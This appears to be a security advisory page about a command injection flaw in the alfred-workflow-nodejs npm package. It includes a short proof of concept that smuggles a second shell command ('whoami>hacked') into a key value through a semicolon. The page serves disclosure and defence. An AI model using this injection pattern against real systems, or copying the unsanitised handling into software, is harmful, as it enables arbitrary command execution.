alfred-workflow-nodejs@2.0.2 vulnerabilities

Alfred workflow nodejs module

Direct Vulnerabilities

Known vulnerabilities in the alfred-workflow-nodejs package. This does not include vulnerabilities belonging to this package’s dependencies.

Fix vulnerabilities automatically

Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

Fix for free
VulnerabilityVulnerable Version
  • H
Command Injection

alfred-workflow-nodejs is an Alfred workflow nodejs module

Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbitrary commands by using a semicolon char in any of the key values.

PoC

var AlfredNode = require('alfred-workflow-nodejs');
var utils = AlfredNode.utils;

utils.wfVars.remove(' "; whoami>hacked #', false);

How to fix Command Injection?

There is no fixed version for alfred-workflow-nodejs.

*